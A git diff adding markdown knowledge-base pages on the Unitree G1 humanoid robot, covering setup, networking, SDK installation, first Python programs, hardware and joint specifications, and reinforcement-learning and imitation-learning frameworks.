length + l_human_i = human limb segment length +``` +After scaling, solve IK to get joint angles. Must clamp to robot joint limits. See [[motion-retargeting]]. [T1] + +### 4j. Residual Policy Action +``` +a_final = a_base + α * a_residual + +Where: + a_base = base controller output (stock or trained policy) + a_residual = correction from residual policy + α ∈ [0, 1] = safety scaling factor +``` +Smaller α = more conservative (stay closer to base). See [[push-recovery-balance]] §3b. [T1] + +--- + +## 5. Validation Bounds + +Use these to sanity-check calculations: + +| Quantity | Valid Range | Notes | Tier | +|-----------------------|------------------------|--------------------------------------|------| +| Joint position (hip) | [-2.97, +2.97] rad | Most permissive hip range (roll) | T0 | +| Joint position (knee) | [0, 2.88] rad | Extension only | T0 | +| Joint torque (knee) | [-120, +120] Nm | EDU variant max | T0 | +| Walking speed | [0, 2.0] m/s | Official max | T0 | +| Battery voltage | ~42-54 V | Depleted to fully charged estimate | T3 | +| Control loop rate | 500 Hz | Fixed by locomotion computer | T0 | +| DDS latency | ~2 ms | Internal network | T0 | +| Robot mass | ~35 kg | Without external payload | T0 | +| Payload per arm | 0-3 kg | EDU max | T0 | +| Standing height | 1.32 m | — | T0 | +| Push recovery (standing)| ~30-60 N·s | Impulse, estimated from papers | T3 | +| CoM height (standing) | ~0.7-0.9 m | Estimated from proportions | T3 | +| Support polygon width | ~0.15-0.25 m | Foot width, stance dependent | T3 | + +--- + +## 6. Unit Conversion Reference + +| From | To | Multiply by | +|-------------|-------------|-------------| +| degrees | radians | pi / 180 | +| radians | degrees | 180 / pi | +| rpm | rad/s | 2*pi / 60 | +| Wh | J | 3600 | +| mAh | Ah | 1/1000 | +| kg*m/s^2 | N | 1 | diff --git a/context/getting-started.md b/context/getting-started.md new file mode 100644 index 0000000..6c68e06 --- /dev/null +++ b/context/getting-started.md @@ -0,0 +1,361 @@ +--- +id: getting-started +title: "Getting Started Guide" +status: established +source_sections: "reference/sources/community-weston-robot-guide.md, reference/sources/community-robonomics-experience.md, reference/sources/community-robostore-specs.md, reference/sources/official-quick-start.md" +related_topics: [deployment-operations, sdk-programming, networking-comms, safety-limits, simulation, hardware-specs] +key_equations: [] +key_terms: [unitree_sdk2, cyclone_dds, locomotion_computer, development_computer, lowstate, lowcmd, domain_id] +images: [] +examples: [] +open_questions: + - "Exact boot time from power-on to ready" + - "WiFi AP SSID naming convention" + - "Full remote controller button map with diagrams" + - "Default Jetson Orin NX OS and pre-installed packages" +--- + +# Getting Started Guide + +Practical step-by-step guide for new G1 owners. Covers power-on to first program. + +## 0. What You Have + +When you unbox the G1 EDU, you should have: [T0] +- The G1 robot +- Smart battery (quick-release, 13-cell LiPo, 9000 mAh) +- Battery charger (100-240V AC input, 54V/5A DC output) +- Wireless remote controller +- Documentation materials + +The robot has two onboard computers you need to understand immediately: + +| Computer | IP Address | Role | Access | +|---|---|---|---| +| Locomotion Computer | 192.168.123.161 | Real-time motor control, balance, gait at 500 Hz | **NOT accessible** — proprietary | +| Development Computer | 192.168.123.164 | Your code runs here (Jetson Orin NX 16GB) | **SSH accessible** | +| LiDAR | 192.168.123.20 | Livox MID360 point cloud | Ethernet driver | + +## 1. Power On + +### First Boot +1. Insert the smart battery into the back of the robot (quick-release connector) +2. Press the power button +3. Wait for both computers to boot (locomotion computer + Jetson Orin) +4. The robot should enter a default standing/damping state once boot is complete + +### Power Off +1. Use the remote controller or SDK to command the robot to sit/lie down +2. Press and hold the power button to shut down +3. Wait for complete shutdown before removing battery + +### Charging +- Plug the charger into the battery (can charge while installed or removed) +- Charger output: 54V / 5A +- Full charge takes approximately 2 hours +- Store batteries at ~50% charge if not using for extended periods [T3 — Standard LiPo practice] + +## 2. Connect to the Robot + +The G1 network is on the **192.168.123.0/24** subnet with **no DHCP server**. You must configure your machine's IP manually. [T0] + +### Option A: WiFi Connection +1. Look for the G1's WiFi network on your development machine (WiFi 6 / 802.11ax) +2. Connect to it +3. Manually set your machine's IP to `192.168.123.X` where X is NOT 161, 164, or 20 + - Example: `192.168.123.100` + - Subnet mask: `255.255.255.0` +4. Test: `ping 192.168.123.164` + +### Option B: Ethernet Connection (Recommended for Development) +1. Connect an Ethernet cable between your machine and the robot +2. Configure your machine's IP manually (same rules as WiFi) +3. Lower latency than WiFi — preferred for real-time control +4. Test: `ping 192.168.123.164` + +### SSH Into the Jetson +```bash +ssh unitree@192.168.123.164 +# Password: 123 +``` +[T1 — Weston Robot development guide] + +This is the development computer (Jetson Orin NX). Your code runs here for production, though you can also develop on an external machine connected to the same network. + +### Internet Access on the Jetson +The robot's network is isolated by default. To get internet on the Jetson (for installing packages): +- **USB WiFi adapter:** Plug into the Jetson's USB port, connect to your WiFi +- **Ethernet routing:** Connect through a router configured for the 192.168.123.0/24 subnet +[T1 — Weston Robot guide] + +## 3. The Wireless Remote Controller + +The included wireless remote controller is your primary interface for basic operation and your safety lifeline. + +### Critical Controls + +| Function | How | Notes | +|---|---|---| +| **E-Stop** | Dedicated emergency stop button | ALWAYS know where this is. Memorize it before powering on. | +| Stand up | High-level command via remote | Robot rises from sitting/lying | +| Sit down | High-level command via remote | Safe resting position | +| Walk | Joystick control | Left stick: forward/backward + turn. Right stick: lateral | +| **Debug Mode** | **L2 + R2** (while suspended in damping state) | Disables stock locomotion controller for full low-level control | + +[T1 — Weston Robot guide for debug mode; T2 — Community for walk controls] + +### Debug Mode (IMPORTANT) +Pressing **L2 + R2** while the robot is suspended (on a stand/harness) and in damping state activates debug mode. This **disables Unitree's locomotion controller** and gives you full low-level joint control via `rt/lowcmd`. + +**WARNING:** In debug mode, the robot has NO balance. It will fall if not supported. Only use this when the robot is on a stand or safety harness. [T1] + +## 4. Install the SDK + +### CycloneDDS 0.10.2 (CRITICAL — Must Be Exact Version) + +This is the #1 gotcha. Using any other version causes **silent communication failures** — you'll get no data and no error messages. [T1] + +The Jetson comes with CycloneDDS pre-installed. If you're setting up an external dev machine: + +```bash +# Clone the exact version +git clone -b 0.10.2 https://github.com/eclipse-cyclonedds/cyclonedds.git +cd cyclonedds +mkdir build && cd build +cmake .. -DCMAKE_INSTALL_PREFIX=/usr/local +make -j$(nproc) +sudo make install + +# Set environment variable (add to ~/.bashrc) +export CYCLONEDDS_HOME='/usr/local' +``` + +On the Jetson itself, the environment variable should be: +```bash +export CYCLONEDDS_HOME='/home/unitree/cyclonedds/install' +``` +[T1 — Robonomics experience report confirmed this path] + +### Python SDK (Recommended for Getting Started) + +```bash +# On the Jetson or your dev machine +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python +pip3 install -e . +``` + +If install fails, it's usually because CycloneDDS isn't properly set up. Verify `CYCLONEDDS_HOME` is set and the library was built from source. [T1] + +### C++ SDK (For Production / Real-Time) + +```bash +# Dependencies +sudo apt install cmake libyaml-cpp-dev libeigen3-dev libboost-all-dev libspdlog-dev libfmt-dev + +# Build +git clone https://github.com/unitreerobotics/unitree_sdk2.git +cd unitree_sdk2 +mkdir build && cd build +cmake .. && make +sudo make install +``` + +## 5. Your First Program: Read Robot State + +Before sending any commands, just **read** the robot's state. This verifies your SDK installation, network connection, and DDS communication. + +### Python — Read Joint States +```python +""" +First program: read and print G1 joint states. +Run on the Jetson or any machine on the 192.168.123.0/24 network. +""" +import time +from unitree_sdk2py.core.channel import ChannelSubscriber, ChannelFactoryInitialize +from unitree_sdk2py.idl.unitree_hg.msg.dds_ import LowState_ + +def lowstate_callback(msg: LowState_): + # Print first 6 motor positions (left leg) + print("Left leg joints:", [f"{msg.motor_state[i].q:.3f}" for i in range(6)]) + # Print IMU orientation + print("IMU quaternion:", msg.imu_state.quaternion) + print("---") + +def main(): + # Initialize DDS channel + # For real robot: use your network interface name (e.g., "enp2s0", "eth0") + # For simulation: use domain ID (e.g., "lo" for localhost) + ChannelFactoryInitialize(0, "enp2s0") # <-- CHANGE THIS to your interface + + # Subscribe to low-level state + sub = ChannelSubscriber("rt/lowstate", LowState_) + sub.Init(lowstate_callback, 10) + + print("Listening for robot state... (Ctrl+C to stop)") + while True: + time.sleep(1) + +if __name__ == "__main__": + main() +``` + +### Finding Your Network Interface Name +```bash +# On your machine, find which interface is on the 192.168.123.x subnet +ip addr show | grep 192.168.123 +# Look for the interface name (e.g., enp2s0, eth0, wlan0) +``` + +### What You Should See +- Joint positions in radians (29 motors for 29-DOF variant) +- IMU quaternion (orientation) +- Data updating at 500 Hz + +### What If You See Nothing? +| Symptom | Likely Cause | Fix | +|---|---|---| +| No data at all | CycloneDDS version wrong | Rebuild exactly v0.10.2 | +| No data at all | Wrong network interface | Check `ip addr`, use correct name | +| No data at all | Robot not booted | Wait longer, verify with ping | +| Import error | SDK not installed | Re-run `pip3 install -e .` | +| Permission error | DDS multicast issue | Try running with `sudo` or check firewall | + +## 6. Walk It Around (Remote Controller) + +Before writing any motion code, use the wireless remote to get familiar with the robot's capabilities: + +1. Power on, wait for boot +2. Use remote to command stand-up +3. Use joysticks to walk forward, backward, turn, strafe +4. Practice stopping smoothly +5. **Test the e-stop** — press it deliberately so you know what happens and how to recover +6. Push the robot gently while standing — observe how the stock controller responds +7. Command sit-down when done + +This builds essential intuition. You'll need to know what "normal" looks and sounds like before deploying custom code. + +## 7. Set Up Simulation + +Run the same programs in simulation before touching the real robot. [T0] + +### MuJoCo Simulator (unitree_mujoco) + +```bash +# Install MuJoCo Python +pip3 install mujoco + +# Clone simulator +git clone https://github.com/unitreerobotics/unitree_mujoco.git +cd unitree_mujoco + +# Python simulation +cd simulate_python +pip3 install pygame # For joystick support (optional) +python3 unitree_mujoco.py +``` + +### Key Point: Same API, Different Network Config +The simulator uses the **same DDS topics** (`rt/lowstate`, `rt/lowcmd`) as the real robot. Your code doesn't change — only the network configuration: + +| Environment | ChannelFactoryInitialize | +|---|---| +| Real robot | `ChannelFactoryInitialize(0, "enp2s0")` | +| Simulation | `ChannelFactoryInitialize(1, "lo")` (domain ID 1, localhost) | + +This means you can develop and test in sim, then deploy to real by changing one line. [T0] + +## 8. Your First Command: Move a Joint (IN SIMULATION FIRST) + +**NEVER run untested motion code on the real robot.** Always validate in simulation first. + +### Important: Ankle Joint Example (Safe Starting Point) +The `g1_ankle_swing_example` from Weston Robot demonstrates low-level control on the ankle joints, which doesn't conflict with the standard locomotion controller. This is a safe first command because ankle motion during standing doesn't destabilize the robot. [T1 — Weston Robot guide] + +### General Pattern for Sending Commands +```python +""" +Simplified pattern — validate in simulation first! +""" +from unitree_sdk2py.core.channel import ChannelPublisher, ChannelFactoryInitialize +from unitree_sdk2py.idl.unitree_hg.msg.dds_ import LowCmd_ +import time + +# Initialize for SIMULATION (domain ID 1, localhost) +ChannelFactoryInitialize(1, "lo") + +pub = ChannelPublisher("rt/lowcmd", LowCmd_) +pub.Init() + +cmd = LowCmd_() +# Set a single joint target (e.g., left ankle pitch) +# JOINT INDEX MATTERS — check joint-configuration.md for the mapping +cmd.motor_cmd[JOINT_INDEX].mode = 1 # Enable +cmd.motor_cmd[JOINT_INDEX].q = 0.1 # Target position (radians) +cmd.motor_cmd[JOINT_INDEX].dq = 0.0 # Target velocity +cmd.motor_cmd[JOINT_INDEX].tau = 0.0 # Feed-forward torque +cmd.motor_cmd[JOINT_INDEX].kp = 50.0 # Position gain +cmd.motor_cmd[JOINT_INDEX].kd = 5.0 # Velocity gain + +# Publish at 500 Hz +while True: + pub.Write(cmd) + time.sleep(0.002) # 2ms = 500 Hz +``` + +**WARNING:** Incorrect joint indices or gains can cause violent motion. Start with very low gains (kp=10, kd=1) and increase gradually. See [[joint-configuration]] for joint indices. [T2] + +## 9. Progression Path + +After completing steps 1-8, here's the recommended order for building toward mocap + balance: + +``` +Level 1: Basics (you are here) +├── Read robot state ✓ +├── Walk with remote ✓ +├── Run simulation ✓ +└── Send first joint command (in sim) + +Level 2: SDK Fluency +├── High-level sport mode API (walk/stand/sit via code) +├── Read all sensor data (IMU, joints, camera) +├── Record and replay joint trajectories (in sim) +└── Understand joint indices and limits + +Level 3: Simulation Development +├── Set up unitree_rl_gym (Isaac Gym training) +├── Train a basic locomotion policy +├── Validate in MuJoCo (Sim2Sim) +└── Apply external forces in sim (push testing) + +Level 4: Toward Your Goals +├── Train push-robust locomotion policy (perturbation curriculum) +├── Set up GR00T-WBC +├── Motion retargeting (AMASS dataset → G1) +└── Combined: mocap + balance + +See: [[push-recovery-balance]] §8, [[whole-body-control]], [[motion-retargeting]] +``` + +## 10. Common Mistakes (From Community Experience) + +| Mistake | Consequence | Prevention | +|---|---|---| +| Wrong CycloneDDS version | Silent failure — no data, no errors | Always use exactly 0.10.2 | +| Testing motion code on real robot first | Falls, hardware damage | Always simulate first | +| Not knowing the e-stop | Can't stop runaway behavior | Test e-stop before doing anything else | +| Wrong network interface name | SDK can't find robot | Use `ip addr` to find correct interface | +| Sending commands without reading state first | Blind control | Always subscribe to `rt/lowstate` first | +| Forgetting `CYCLONEDDS_HOME` env var | SDK build/import failures | Add to `~/.bashrc` permanently | +| Using WiFi for real-time control | Variable latency, instability | Use Ethernet or develop on Jetson | +| High PD gains on first test | Violent jerky motion | Start with very low gains, increase gradually | +| Not charging battery before testing | Robot dies mid-test | Check battery > 30% before every session | + +## Key Relationships +- Leads to: [[deployment-operations]] (full operational procedures) +- Requires: [[sdk-programming]] (SDK installation and API details) +- Uses: [[networking-comms]] (network setup, IP addresses) +- Guided by: [[safety-limits]] (what not to do) +- Practice in: [[simulation]] (always sim before real) +- Joint reference: [[joint-configuration]] (joint indices, limits) +- Goal: [[whole-body-control]] → [[motion-retargeting]] → [[push-recovery-balance]] diff --git a/context/hardware-specs.md b/context/hardware-specs.md new file mode 100644 index 0000000..32f7fdd --- /dev/null +++ b/context/hardware-specs.md @@ -0,0 +1,103 @@ +--- +id: hardware-specs +title: "Hardware Specifications" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-user-manual.md, reference/sources/community-robostore-specs.md" +related_topics: [joint-configuration, sensors-perception, power-system, safety-limits] +key_equations: [] +key_terms: [dof, actuator, battery_capacity, pmsm, jetson_orin_nx, dual_computer_architecture] +images: [] +examples: [] +open_questions: + - "Confirm IP rating and environmental tolerances" + - "Exact link masses and inertia tensors for dynamics modeling" +--- + +# Hardware Specifications + +Overview of the Unitree G1 humanoid robot's physical specifications, dimensions, and hardware capabilities. + +## 1. Overview + +The Unitree G1 is a general-purpose humanoid robot designed for research and commercial applications. Launched by Unitree Robotics, it is the most affordable production humanoid robot (starting at $13,500 USD). It features a compact form factor, reinforcement-learning-based locomotion, and is available in multiple configurations with 23 to 43 degrees of freedom. [T0 — Spec Sheet] + +## 2. Physical Dimensions + +| Parameter | Value | Unit | Source | Tier | +|---------------------|---------|------|---------------------------|------| +| Height (standing) | 1.32 | m | Official product page | T0 | +| Height (folded) | 0.69 | m | Official product page | T0 | +| Width | 0.45 | m | Official product page | T0 | +| Depth | 0.20 | m | Official product page | T0 | +| Weight (base) | ~35 | kg | Official product page | T0 | +| Leg length (combined)| 0.60 | m | Official product page | T0 | +| Arm reach | ~0.45 | m | Official product page | T1 | + +## 3. Variants + +| Variant | DOF | Price (USD) | Key Differences | Compute | +|----------------------|------|-------------|-----------------------------------------------------------|--------------------------------| +| G1 Standard (base) | 23 | $13,500 | Standard config, prosthetic hand, no Jetson | 8-core CPU | +| G1 EDU Standard | 23-43| $43,500 | SDK access, expandable DOF, Dex3-1 hand | 8-core + Jetson Orin NX 16GB | +| G1 EDU Ultimate A | 43 | $63,900 | Full DOF, Dex3-1 hand, extra waist/wrist joints | 8-core + Jetson Orin NX 16GB | +| G1 EDU Ultimate B | 43 | $73,900 | Same as A + 33 tactile sensors per hand | 8-core + Jetson Orin NX 16GB | +| G1 Pro Series | 23-43| $51,900-$56,900 | Professional use | 8-core + Jetson Orin NX 16GB | +| G1-D Platform | 17-19| — | Wheeled humanoid (differential drive mobile base) | Jetson Orin NX | + +[T0 — Spec Sheet, pricing from official sources and retailers] + +### DOF Breakdown by Variant + +- **23-DOF (base):** 6 per leg (12) + 1 waist + 5 per arm (10) = 23 +- **29-DOF (EDU):** 6 per leg (12) + 3 waist + 7 per arm (14) = 29 +- **43-DOF (Ultimate):** 29 body joints + 7 per Dex3-1 hand (14) = 43 + +## 4. Compute Platform + +The G1 uses a hierarchical dual-computer architecture. [T0 — Developer Guide] + +| Component | Specification | IP Address | Notes | +|-------------------------|---------------------------------------|--------------------|-----------------------------------------| +| Locomotion Computer | Rockchip RK3588 (8-core ARM A76/A55, 8GB LPDDR4X, 32GB eMMC) | 192.168.123.161 | Proprietary, runs balance/gait | +| Development Computer | NVIDIA Jetson Orin NX 16GB (100 TOPS) | 192.168.123.164 | User-accessible, runs applications | +| Main CPU | 8-core high-performance processor | — | Both computers | +| AI Performance | 100 TOPS | — | Jetson Orin NX (EDU variants only) | +| Connectivity | WiFi 6 (802.11ax), Bluetooth 5.2 | — | — | +| OS | Linux-based | — | — | +| Network Subnet | 192.168.123.0/24 | — | All onboard devices | + +### Architecture + +The **locomotion computer** is a Rockchip RK3588 running Linux kernel 5.10.176-rt86+ (real-time patched). It handles low-level motor control, sensor data processing, balance, and stability algorithms at a 500 Hz real-time control loop. It runs 26 daemons supervised by a `master_service` orchestrator, with the `ai_sport` daemon as the primary locomotion/balance policy. It is not officially user-accessible, though root access has been achieved via BLE security exploits (see [[safety-limits]] §6 and [[locomotion-control]] §8 for details). It exposes motor control APIs via CycloneDDS middleware. [T1 — arXiv:2509.14096] + +The **development computer** (Jetson Orin NX, EDU variants) is user-accessible and runs custom applications, AI models, and perception pipelines. It communicates with the locomotion computer via DDS over the internal network. + +## 5. Mechanical Design + +- **Motors:** Low-inertia Permanent Magnet Synchronous Motors (PMSM) with hollow shafts for reduced weight and internal wiring [T0] +- **Transmission:** Compact planetary gearboxes, backdrivable design [T0] +- **Bearings:** Industrial-grade crossed roller bearings [T0] +- **Encoders:** Dual encoders per joint for position and velocity feedback [T0] +- **Thermal:** Built-in temperature sensors per motor, efficient cooling via hollow motor design [T0] +- **Control:** Force-position hybrid control, torque limiting capability [T0] +- **Battery:** Quick-release smart battery with connector (see [[power-system]]) [T0] + +## 6. Performance Summary + +| Metric | Value | Notes | Tier | +|-----------------------|----------------|----------------------------------|------| +| Max walking speed | 2.0 m/s | 7.2 km/h | T0 | +| Arm payload (standard) | 2 kg | Per arm | T0 | +| Arm payload (EDU) | 3 kg | Per arm | T0 | +| Max knee torque (base) | 90 Nm | — | T0 | +| Max knee torque (EDU) | 120 Nm | — | T0 | +| Control loop rate | 500 Hz | Locomotion computer | T0 | +| DDS comm latency | 2 ms | — | T0 | +| Battery runtime | ~2 hours | Continuous operation | T0 | +| Terrain support | Tile, concrete, carpet | Verified surfaces | T1 | + +## Key Relationships +- Drives: [[joint-configuration]] (actuators define joint capabilities) +- Integrates: [[sensors-perception]] (sensor suite is variant-dependent) +- Powered by: [[power-system]] +- Constrained by: [[safety-limits]] diff --git a/context/joint-configuration.md b/context/joint-configuration.md new file mode 100644 index 0000000..435eac2 --- /dev/null +++ b/context/joint-configuration.md @@ -0,0 +1,122 @@ +--- +id: joint-configuration +title: "Joint Configuration & Actuators" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-developer-guide.md, reference/sources/official-dds-services.md" +related_topics: [hardware-specs, locomotion-control, manipulation, equations-and-bounds, safety-limits] +key_equations: [] +key_terms: [dof, actuator, joint, pmsm, dual_encoder, force_position_hybrid, lowcmd, lowstate, motor_cmd] +images: [] +examples: [] +open_questions: + - "Per-joint velocity limits (dq_max) for all joints" + - "Actuator model numbers and detailed datasheets" + - "Ankle joint range of motion (not in public specs)" + - "Exact gear ratios per joint" +--- + +# Joint Configuration & Actuators + +Detailed breakdown of the G1's joint structure, actuator specifications, and range of motion. + +## 1. DOF Configurations + +The G1 is available in three primary DOF configurations: [T0 — Spec Sheet] + +| Configuration | Total DOF | Legs | Waist | Arms | Hands | Variants | +|--------------|-----------|------|-------|------|-------|----------| +| Base (23-DOF) | 23 | 6+6 | 1 | 5+5 | 0 | G1 Standard | +| Mid (29-DOF) | 29 | 6+6 | 3 | 7+7 | 0 | G1 EDU Standard | +| Full (43-DOF) | 43 | 6+6 | 3 | 7+7 | 7+7 | G1 EDU Ultimate | + +## 2. Joint Enumeration + +### Leg Joints (6 per leg, 12 total) + +| Joint Name | Axis | Type | Range (degrees) | Range (radians) | Notes | +|--------------------|------|----------|-----------------|-------------------|-----------------| +| left/right_hip_yaw | Z | Revolute | ±158° | ±2.758 | Rotation around vertical | +| left/right_hip_roll | X | Revolute | -30° to +170° | -0.524 to +2.967 | Lateral splay | +| left/right_hip_pitch| Y | Revolute | ±154° | ±2.688 | Forward/back | +| left/right_knee | Y | Revolute | 0° to 165° | 0 to 2.880 | Extension only, max torque joint | +| left/right_ankle_pitch | Y | Revolute | — | — | Range not yet confirmed | +| left/right_ankle_roll | X | Revolute | — | — | Range not yet confirmed | + +[T0 — Official specs for hip/knee; ankle ranges still unconfirmed] + +### Waist/Torso Joints + +| Configuration | Joints | Notes | +|--------------|--------|-------| +| 23-DOF (base) | 1 joint: waist_yaw (Z-axis, ±155°) | Single rotation axis | +| 29/43-DOF | 3 joints: waist_yaw, waist_pitch, waist_roll | Full 3-axis torso articulation | + +### Arm Joints (per arm) + +| Configuration | Joints per Arm | Notes | +|--------------|---------------|-------| +| 23-DOF (base) | 5 joints: shoulder_pitch, shoulder_roll, shoulder_yaw, elbow, wrist_yaw | Basic arm | +| 29/43-DOF | 7 joints: above + wrist_pitch, wrist_roll | Articulated wrist (2 extra DOF) | + +### Hand Joints — Dex3-1 (43-DOF variant, 7 per hand) + +| Finger | Active DOF | Actuator Type | +|---------|-----------|---------------| +| Thumb | 3 | Micro brushless force-control | +| Index | 2 | Micro brushless force-control | +| Middle | 2 | Micro brushless force-control | +| **Total per hand** | **7** | 6 direct-drive + 1 gear-drive | + +Additional Dex3-1 specs: +- 33 integrated tactile sensors per hand [T0] +- Force-position hybrid control [T0] +- DDS topics: `rt/dex3/(left|right)/cmd` and `rt/dex3/(left|right)/state` [T0] +- Message protocol: `unitree_hg` [T0] + +## 3. Actuator Specifications + +All joints use proprietary Unitree actuators: [T0 — Official specs] + +| Property | Specification | +|-------------------|------------------------------------------------------| +| Motor type | Low-inertia internal rotor PMSM | +| Shaft design | Hollow (reduced weight, internal wiring routing) | +| Transmission | Compact planetary gearboxes | +| Backdrivability | Yes (backdrivable design) | +| Bearings | Industrial-grade crossed roller bearings | +| Feedback | Dual encoders per joint (position + velocity) | +| Thermal monitoring | Built-in temperature sensors per motor | +| Control | Force-position hybrid, torque limiting | +| Servo rate | 500 Hz | + +### Peak Torques + +| Joint Region | Standard (base) | EDU Variants | Notes | +|-------------|----------------|--------------|-------| +| Knee (max) | 90 Nm | 120 Nm | Highest-torque joint | +| Other joints | Not published | Not published | See open questions | + +## 4. Low-Level Control Interface + +Joint-level control is performed via DDS publish/subscribe: [T0 — Developer Guide] + +### Subscription (read robot state) +- **Topic:** `rt/lowstate` +- **Type:** `unitree_hg::msg::dds_::LowState_` +- **Contents:** mode_pr, mode_machine, tick (1ms increment), imu_state, motor_state (all joints), wireless_remote, crc checksum + +### Publishing (send commands) +- **Topic:** `rt/lowcmd` +- **Type:** `unitree_hg::msg::dds_::LowCmd_` +- **MotorCmd_ structure per joint:** + - `mode`: 0 (Disable) / 1 (Enable) + - `q`: Target joint position (rad) + - `dq`: Target joint velocity (rad/s) + - `tau`: Feed-forward torque (Nm) + +## Key Relationships +- Defined by: [[hardware-specs]] (physical platform) +- Enables: [[locomotion-control]] (leg joints) +- Enables: [[manipulation]] (arm + hand joints) +- Bounded by: [[safety-limits]] (joint limits, torque limits) +- Numerical limits in: [[equations-and-bounds]] diff --git a/context/learning-and-ai.md b/context/learning-and-ai.md new file mode 100644 index 0000000..6176ea6 --- /dev/null +++ b/context/learning-and-ai.md @@ -0,0 +1,178 @@ +--- +id: learning-and-ai +title: "Learning & AI" +status: established +source_sections: "reference/sources/github-unitree-rl-gym.md, reference/sources/github-unitree-rl-lab.md, reference/sources/github-xr-teleoperate.md, reference/sources/paper-bfm-zero.md, reference/sources/paper-gait-conditioned-rl.md" +related_topics: [simulation, locomotion-control, manipulation, sdk-programming, whole-body-control, motion-retargeting, push-recovery-balance] +key_equations: [] +key_terms: [gait_conditioned_rl, curriculum_learning, sim_to_real, lerobot, xr_teleoperate, teleoperation] +images: [] +examples: [] +open_questions: + - "Optimal reward function design for G1 locomotion" + - "Training time estimates for different policy types" + - "How to fine-tune the stock locomotion policy" + - "LLM-based task planning integration status (firmware v3.2+)" +--- + +# Learning & AI + +Reinforcement learning, imitation learning, and AI-based control for the G1. + +## 1. Reinforcement Learning + +### Official RL Frameworks + +| Framework | Repository | Base Library | Sim Engine | G1 Support | Tier | +|-------------------|------------------------------------------|--------------------|--------------|-----------:|------| +| unitree_rl_gym | unitreerobotics/unitree_rl_gym | legged_gym + rsl_rl | Isaac Gym | Yes | T0 | +| unitree_rl_lab | unitreerobotics/unitree_rl_lab | Isaac Lab | Isaac Lab | G1-29dof | T0 | + +### unitree_rl_gym — Complete RL Pipeline +The primary framework for training locomotion policies: [T0] + +- **Supported robots:** Go2, H1, H1_2, G1 +- **Algorithm:** PPO (via rsl_rl) +- **Training:** Parallel environments, GPU/CPU device selection, checkpoint management +- **Pipeline:** Train → Play → Sim2Sim (MuJoCo validation) → Sim2Real (unitree_sdk2_python) +- **Deployment:** Python scripts and C++ binaries with network interface configuration + +### unitree_rl_lab — Isaac Lab Integration +Advanced RL training on NVIDIA Isaac Lab: [T0] + +- **Supported robots:** Go2, H1, G1-29dof +- **Simulation backends:** Isaac Lab (NVIDIA) and MuJoCo (cross-sim validation) +- **Deployment:** Simulation → Sim-to-sim → Real robot via unitree_sdk2 +- **Language mix:** Python 65.1%, C++ 31.3% + +### Key RL Research on G1 + +| Paper | Contribution | Validated on G1? | Tier | +|-------|-------------|-----------------|------| +| Gait-Conditioned RL (arXiv:2505.20619) | Multi-phase curriculum, gait-specific reward routing | Yes | T1 | +| Getting-Up Policies (arXiv:2502.12152) | Two-stage fall recovery via RL | Yes | T1 | +| HoST (arXiv:2502.08378) | Multi-critic RL for diverse posture recovery | Yes | T1 | +| Fall-Safety (arXiv:2511.07407) | Unified prevention + mitigation + recovery | Yes (zero-shot) | T1 | +| Vision Locomotion (arXiv:2602.06382) | End-to-end depth-based locomotion | Yes | T1 | +| Safe Control (arXiv:2502.02858) | Projected Safe Set for collision avoidance | Yes | T1 | + +## 2. Imitation Learning + +### Data Collection — Teleoperation + +| System | Device | Repository | Features | +|---------------------|---------------------------|---------------------------------------|------------------------------| +| XR Teleoperate | Vision Pro, PICO 4, Quest 3 | unitreerobotics/xr_teleoperate | Hand tracking, data recording | +| Kinect Teleoperate | Azure Kinect DK | unitreerobotics/kinect_teleoperate | Body tracking, safety wake-up | + +### Training Frameworks + +| Framework | Repository | Purpose | +|---------------------|------------------------------------------|--------------------------------------| +| unitree_IL_lerobot | unitreerobotics/unitree_IL_lerobot | Modified LeRobot for G1 dual-arm training | +| HuggingFace LeRobot | huggingface.co/docs/lerobot/en/unitree_g1 | Standard LeRobot with G1 config | + +**LeRobot G1 integration:** Supports both 29-DOF and 23-DOF versions, includes gr00t_wbc locomotion integration for whole-body control during manipulation tasks. [T1] + +### Imitation Learning Workflow +``` +1. Teleoperate (XR/Kinect) → record episodes +2. Process data → extract observation-action pairs +3. Train policy (LeRobot / custom) → behavior cloning or diffusion policy +4. Deploy → unitree_sdk2 on real robot +``` + +## 3. Policy Deployment + +### Deployment Options + +| Method | Language | Latency | Use Case | +|---------------------|----------|------------|-------------------------------| +| unitree_sdk2_python | Python | Higher | Prototyping, research | +| unitree_sdk2 (C++) | C++ | Lower | Production, real-time control | + +### Deployment Checklist +1. **Validate in simulation** — Run policy in unitree_mujoco or Isaac Lab +2. **Cross-sim validate** — Test in a second simulator (Sim2Sim) +3. **Low-gain start** — Deploy with reduced gains initially +4. **Tethered testing** — Support robot with a safety harness for first real-world tests +5. **Gradual ramp-up** — Increase to full gains after verifying stability + +### Safety Wrappers +When deploying custom policies, add safety layers: [T2 — Best practice] +- Joint limit clamping (see [[equations-and-bounds]]) +- Torque saturation limits +- Fall detection with emergency stop +- Velocity bounds for safe walking speeds + +## 4. Foundation Models + +### BFM-Zero (arXiv:2511.04131) +First behavioral foundation model for real humanoids: [T1] +- **Key innovation:** Promptable control without retraining (reward optimization, pose reaching, motion tracking) +- **Training:** Motion capture data regularization + online off-policy unsupervised RL +- **Validation:** Deployed on G1 hardware +- **Significance:** Enables flexible task specification without policy retraining + +### Behavior Foundation Model (arXiv:2509.13780) +- Uses masked online distillation with Conditional Variational Autoencoder (CVAE) +- Models behavioral distributions from large-scale datasets +- Tested on G1 (1.3m, 29-DOF) [T1] + +### LLM Integration (Firmware v3.2+) +- Preliminary LLM integration support on EDU models [T2] +- Natural language task commands via Jetson Orin [T2] +- Status and capabilities not yet fully documented — see open questions + +## 5. Motion Tracking Policies + +RL policies trained to imitate reference motions (from mocap) while maintaining balance: [T1 — Research papers] + +| Framework | Paper | Approach | G1 Validated? | +|---|---|---|---| +| BFM-Zero | arXiv:2511.04131 | Foundation model with motion tracking mode | Yes | +| H2O | arXiv:2403.01623 | Real-time human-to-humanoid tracking | Humanoid (not G1 specifically) | +| OmniH2O | arXiv:2406.08858 | Multi-modal input tracking | Humanoid | +| HumanPlus | arXiv:2406.10454 | RGB camera shadow → imitation | Humanoid | + +**BFM-Zero** is the most directly G1-relevant: it provides a "motion tracking" mode where the policy receives a reference pose and tracks it while maintaining balance. Zero-shot generalization to unseen motions. Open-source. See [[motion-retargeting]] for the full retargeting pipeline. + +**Key insight:** These policies learn to simultaneously track the reference motion AND maintain balance. Push recovery is implicit — the same policy handles both. Training with perturbation curriculum further 